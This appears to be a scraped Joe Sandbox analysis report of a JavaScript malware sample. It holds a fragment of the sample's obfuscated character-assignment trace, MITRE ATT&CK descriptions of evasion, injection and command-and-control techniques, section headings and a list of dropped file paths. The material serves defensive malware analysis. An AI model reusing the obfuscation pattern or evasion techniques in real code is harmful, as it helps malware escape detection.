1398	ergvbfiok = "U";
1399	ergvbfiok = "X";
1400	ergvbfiok = "G";
1401	ergvbfiok = "w";
1402	ergvbfiok = "F";
1403	ergvbfiok = "J";
1404	ergvbfiok = "u";
1405	ergvbfiok = "w";
1406	ergvbfiok = "d";
1407	ergvbfiok = "Z";
1408	ergvbfiok = "F";
1409	ergvbfiok = "j";
1410	ergvbfiok = "P";
1411	ergvbfiok = "M";
1412	ergvbfiok = "z";
1413	ergvbfiok = "U";
1414	ergvbfiok = "G";
1415	ergvbfiok = "c";
1416	ergvbfiok = "T";
1417	ergvbfiok = "Z";
1418	ergvbfiok = "d";
1419	ergvbfiok = "x";
1420	ergvbfiok = "i";
1421	ergvbfiok = "K";
1422	lwubusxop ( );	lwubusxop() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4036231441630930293.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\632ffacc-9e0d-4b5a-b734-920ff9340478.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3de8b1.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d2663da7-f4dc-4131-b0f6-336c94bb4821.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4496

Windows Analysis Report
4036231441630930293.js